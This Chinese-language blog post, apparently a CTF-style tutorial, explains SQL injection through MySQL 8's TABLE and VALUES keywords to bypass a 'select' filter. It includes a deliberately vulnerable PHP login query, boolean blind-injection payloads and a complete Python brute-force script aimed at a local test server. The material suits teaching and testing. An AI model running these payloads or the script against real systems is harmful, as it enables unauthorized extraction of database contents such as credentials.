基于mysql8特性的sql注入

基于mysql8特性的sql注入

mysql8

​ Mysql8.0.0版本自16年推出以后已经五年了,虽然更新的比较频繁,但是较为稳定版本直到近两年正式版本发布才逐渐引起大家的重视。官方表示mysql8.0要比mysql5.7快出两倍,支持了json,nosql,还修改了默认身份验证

​ 在MySQL8.0.19之后,MySQL推出了一些新语法,使我们可以利用其进行sql注入:

Table 关键字

table关键字的语法:

TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]]

其作用是直接列出表的整个内容:

截屏2021-05-30 下午8.28.24

VALUES

VALUES row_constructor_list [ORDER BY column_designator] [LIMIT BY number]
row_constructor_list:
 ROW(value_list)[, ROW(value_list)][, ...]
value_list:
 value[, value][, ...]
column_designator:
column_index

VALUES关键字可直接通过给出值的方式直接组成一个表

VALUES ROW(1,2,3),ROW(1,1,1),ROW(1,2,3);

image-20210531134225652

可以利用联合注入

image-20210531134640586

注入思路

​ 假设现在有一个注入的情况,过滤了select,这样无法使用子查询,也无法查询到其他表:

后端的语句是这样的:

$username=$_POST['username'];
$password=$_POST['password'];
$sql= "select * from users where username = '${username}' and password = '${password}'";

很明显usernamepassword参数即为注入点,如果有回显的话,可以直接使用union注入出来

截屏2021-05-30 下午9.12.01

但是现在很少有机会给你回显了,我们也可以直接利用盲注的方法,但是我们需要知道目标表的名字和字段数:

select * from users where username = 'aaa\' and password = ' or (1,'a','a') <(table users limit 1 offset 1);

截屏2021-05-31 上午11.00.34

这是一个布尔盲注的结构,我们构造如下的结构,让括号内的内容依次与users表的第一个记录进行比较

(1,'a','a') <(table users limit 1 offset 1);

在Mysql语法中,数字的比较我们无需多言

但是字符串的比较需要简单说一下:

​ 在mysql中判断两个字符串大小的规则是:不区分大小写,按照0-9a-z的ascii码大小顺序进行比较,先从第一个字符进行比较ascii值,第一个字符相同的,比较第二个字符,如果相同再比较下一个以此类推直到有结果;如果前面字符相同全部相同,则以长度更长的为大:

截屏2021-05-31 上午11.11.45

image-20210531113119844

利用括号内多个数据与table返回的表查询结果比较时,其规则是从括号内第一个参数与table查询的第一列数据进行比较,如果为真则继续比较第二个,如果为假则不比较后面的直接返回假,所以在盲注时要从第一个字段开始爆破:

image-20210531113901391

image-20210531113915395

image-20210531113939275

image-20210531113957373

要注意最后一个字段最后一个字符因为长度相等时利用比较<>符号判断相等时为假,注意要将其向前推一个字母,最后一个字母如果是b则正确结果应该是a

image-20210531114032599

下列给出一个盲注脚本:

#-*- coding:utf-8 -*-
#orio1e
import requests
def str2hex(str):
    result='0x'
    for i in str:
        result+=hex(ord(i))[2:]
    return result
dic=['0','1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
         'w', 'x', 'y', 'z',]  # 字典
result=''
for i in range(1,35):
    for j in range(len(dic)):
        print(dic[j])
        url="http://127.0.0.1:8010"
        #第一个字段
        #结果:1
        payload={"username":"asd\\","password":"||({},0x21,0x21)<(table/**/admin_user/**/limit/**/1)#".format(str2hex(result+dic[j]))}
        #爆第二个字段
        #结果:guest
        payload={"username":"asd\\","password":"||(0x31,{},0x21)<(table/**/admin_user/**/limit/**/1)#".format(str2hex(result+dic[j]))}
        #爆第三个字段
        #结果:123456
        #因为最后一个字符完成后长度相等又判断为假 所以最后一个字符应为其下一个字母
        #但是这仅限最后一个字段
        #所以正确结果是we1c0mehacker 
        payload={"username":"asd\\","password":"||(0x31,0x61646d696e,{})<(table/**/users/**/limit/**/1)#".format(str2hex(result+dic[j]))}
        
        res=requests.post(url=url,data=payload)
        print(payload)
        print(res.text[-20:])
        if "emmmmm" in res.text:
            continue
        elif "no" in res.text:
            #返回假时表示上一个字母即为正确结果
            result+=dic[j-1]
            break

    print(result)

添加新评论

我们会加密处理您的邮箱保证您的隐私. 标有星号的为必填信息 *